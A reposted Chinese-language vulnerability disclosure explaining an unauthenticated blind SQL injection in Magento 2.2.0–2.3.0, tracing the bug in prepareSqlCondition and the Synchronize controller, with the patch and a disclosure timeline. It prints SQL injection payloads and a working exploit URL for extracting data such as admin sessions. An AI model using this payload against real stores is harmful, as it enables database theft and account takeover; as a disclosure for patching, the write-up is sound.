zoukankan      html  css  js  c++  java
  • Magento 2.2.0 <= 2.3.0 无需登录下的SQLi

    代码审核

    Magento拥有庞大的代码库 - 超过200万行PHP。显然,手动审核其代码必须是一项繁琐的工作。尽管如此,Netanel Rubin发现的两个优秀RCE漏洞给了我们指导,因为它们针对两件事:

        访问检查/路由
        API

    这两个载体很可能是清除漏洞,因为它们之前已经过审计。因此,我选择了一些尚未定位的东西:负责ORM和DB管理的代码。
    SQL注入
    下沉

    处理数据库的主要类之一是Magento \ Framework \ DB \ Adapter \ Pdo \ Mysql。经过几分钟的审计,其中一个方法prepareSqlCondition出现了一个有趣的错误。

    <?php
    /****
     ** Build SQL statement for condition
     **
     ** If $condition integer or string - exact value will be filtered ('eq' condition)
     **
     ** If $condition is array is - one of the following structures is expected:
     ** - array("from" => $fromValue, "to" => $toValue)
     ** - array("eq" => $equalValue)
     ** - array("neq" => $notEqualValue)
     ** - array("like" => $likeValue)
     ** - array("in" => array($inValues))
     ** - array("nin" => array($notInValues))
     ** - array("notnull" => $valueIsNotNull)
     ** - array("null" => $valueIsNull)
     ** - array("gt" => $greaterValue)
     ** - array("lt" => $lessValue)
     ** - array("gteq" => $greaterOrEqualValue)
     ** - array("lteq" => $lessOrEqualValue)
     ** - array("finset" => $valueInSet)
     ** - array("regexp" => $regularExpression)
     ** - array("seq" => $stringValue)
     ** - array("sneq" => $stringValue)
     **
     ** If non matched - sequential array is expected and OR conditions
     ** will be built using above mentioned structure
     **
     ** ...
     **/
    public function prepareSqlCondition($fieldName, $condition)
    {
        $conditionKeyMap = [                                                    [1]
            'eq'            => "{{fieldName}} = ?",
            'neq'           => "{{fieldName}} != ?",
            'like'          => "{{fieldName}} LIKE ?",
            'nlike'         => "{{fieldName}} NOT LIKE ?",
            'in'            => "{{fieldName}} IN(?)",
            'nin'           => "{{fieldName}} NOT IN(?)",
            'is'            => "{{fieldName}} IS ?",
            'notnull'       => "{{fieldName}} IS NOT NULL",
            'null'          => "{{fieldName}} IS NULL",
            'gt'            => "{{fieldName}} > ?",
            'lt'            => "{{fieldName}} < ?",
            'gteq'          => "{{fieldName}} >= ?",
            'lteq'          => "{{fieldName}} <= ?",
            'finset'        => "FIND_IN_SET(?, {{fieldName}})",
            'regexp'        => "{{fieldName}} REGEXP ?",
            'from'          => "{{fieldName}} >= ?",
            'to'            => "{{fieldName}} <= ?",
            'seq'           => null,
            'sneq'          => null,
            'ntoa'          => "INET_NTOA({{fieldName}}) LIKE ?",
        ];
    
        $query = '';
        if (is_array($condition)) {
            $key = key(array_intersect_key($condition, $conditionKeyMap));
    
            if (isset($condition['from']) || isset($condition['to'])) {         [2]
                if (isset($condition['from'])) {                                [3]
                    $from  = $this->_prepareSqlDateCondition($condition, 'from');
                    $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
                }
    
                if (isset($condition['to'])) {                                  [4]
                    $query .= empty($query) ? '' : ' AND ';
                    $to     = $this->_prepareSqlDateCondition($condition, 'to');
                    $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5]
                }
            } elseif (array_key_exists($key, $conditionKeyMap)) {
                $value = $condition[$key];
                if (($key == 'seq') || ($key == 'sneq')) {
                    $key = $this->_transformStringSqlCondition($key, $value);
                }
                if (($key == 'in' || $key == 'nin') && is_string($value)) {
                    $value = explode(',', $value);
                }
                $query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
            } else {
                $queries = [];
                foreach ($condition as $orCondition) {
                    $queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
                }
    
                $query = sprintf('(%s)', implode(' OR ', $queries));
            }
        } else {
            $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
        }
    
        return $query;
    }
    
    protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3]
    {
        $sql = $this->quoteInto($text, $value);
        $sql = str_replace('{{fieldName}}', $fieldName, $sql);
        return $sql;
    }

    总的来说,该函数根据SQL字段名称和表示运算符(=,!=,>等)和值的数组构建SQL条件。 为此,它使用$ conditionKeyMap [1]将给定条件别名映射到模式,并替换每个? 使用_prepareQuotedSqlCondition()[3]通过给定值的引用版本在别名中的字符。 例如:

    <?php
       $db->prepareSqlCondition('username', ['regexp' => 'my_value']);
    => $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
    => $query = "username REGEXP 'my_value'";

    然而,当结合使用from和to条件时会出现问题[2],通常是为了确保字段包含在一个范围内。 例如:

    <?php
    $db->prepareSqlCondition('price', [
        'from' => '100'
        'to' => '1000'
    ]);
    $query = "price >= '100' AND price <= '1000'";

    当存在两个条件(from和to)时,代码首先处理from部分[3],然后处理另一个[4],但是此时发生了一个关键错误[5]:为from生成的查询是 重复用于格式化。

    结果,因为每一个? 由给定值替换,如果from的值中存在问号,则将替换为to的值的引用版本。 这是一种打破SQL查询并因此引发SQL注入的方法:

    <?php
    $db->prepareSqlCondition('price', [
        'from' => 'some?value'
        'to' => 'BROKEN'
    ]);
    # FROM
       $query = $db->_prepareQuotedSqlCondition("{{fieldName}} >= ?", 'some?value', 'price')
    -> $query = "price >= 'some?value'"
    # TO
       $query = $db->_prepareQuotedSqlCondition($query . "AND {{fieldName}} <= ?", 'BROKEN', 'price')
    -> $query = $db->_prepareQuotedSqlCondition("price >= 'some?value' AND {{fieldName}} <= ?", 'BROKEN', 'price')
    -> $query = "price >= 'some'BROKEN'value' AND price <= 'BROKEN'"

    第一次出现BROKEN是引用之外的。 为了执行有效的SQL注入,我们可以这样做:

    <?php
    
    $db->prepareSqlCondition('price', [
        'from' => 'x?'
        'to' => ' OR 1=1 -- -'
    ]);
    -> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"

    为了避免这个bug,这一行:

    $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);

    应该是

    $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

    这个错误虽然很小,但是非常有影响力:如果我们可以完全控制第二个参数来准备SQLCondition,那么我们就会有一个SQL注入。 令人惊讶的是,自Magento 1.x以来,这段代码已经存在!
    资源

    如前所述,Magento中有许多代码行,找到一种方法来解决这个问题很累人。 在用完智能方法之后,我选择逐个检查每个控制器,直到找到源。 幸运的是,在不到十几个人之后,找到了候选人:Magento \ Catalog \ Controller \ Product \ Frontend \ Action \ Synchronize。

    <?php
    
    public function execute()
    {
        $resultJson = $this->jsonFactory->create();
    
        try {
            $productsData = $this->getRequest()->getParam('ids', []);
            $typeId = $this->getRequest()->getParam('type_id', null);
            $this->synchronizer->syncActions($productsData, $typeId);
        } catch (\Exception $e) {
            $resultJson->setStatusHeader(
                \Zend\Http\Response::STATUS_CODE_400,
                \Zend\Http\AbstractMessage::VERSION_11,
                'Bad Request'
            );
        }
    
        return $resultJson->setData([]);
    }

    这是最终导致错误的调用堆栈

    <?php
    $productsData = $this->getRequest()->getParam('ids', []);
    $this->synchronizer->syncActions($productsData, $typeId);
    $collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
    $this->_translateCondition($field, $condition);
    $this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
    $this->getConnection()->prepareSqlCondition($fieldName, $condition);

    此代码路径仅在Magento 2.2.0之后出现。

    这是一个导致未经身份验证的盲SQL注入的URL:

    https://magento2website.com/catalog/product_frontend_action/synchronize?
        type_id=recently_products&
        ids[0][added_at]=&
        ids[0][product_id][from]=?&
        ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

    现在可以从数据库中读取任何内容,我们可以提取管理会话或密码哈希并使用它们来访问后端。
    修补

    SQL注入的补丁是微不足道的:

    File: vendor/magento/framework/DB/Adapter/Pdo/Mysql.php Line: 2907

    - $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
    + $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);


    Magento发布了2.3.1版本,以及2.2.x,2.1.x和1.1的修补版本。 修补你的服务器!
    时间线

         2018年11月9日:通过Bugcrowd报告错误
         2018年11月26日:错误标记为P1
         2019年3月19日:我们要求更新(4个月!)
         2019年3月19日:Magento以赏金奖励我们,并通知我们正在进行更新
         2019年3月26日:Magento发布了一个新版本,修补了这些错误

  • 相关阅读:
    移动开发 Native APP、Hybrid APP和Web APP介绍
    urllib与urllib2的学习总结(python2.7.X)
    fiddler及postman讲解
    接口测试基础
    UiAutomator2.0 和1.x 的区别
    adb shell am instrument 命令详解
    GT问题记录
    HDU 2492 Ping pong (树状数组)
    CF 567C Geometric Progression
    CF 545E Paths and Trees
  • 原文地址:https://www.cnblogs.com/xsserhaha/p/10623864.html
Copyright © 2011-2022 走看看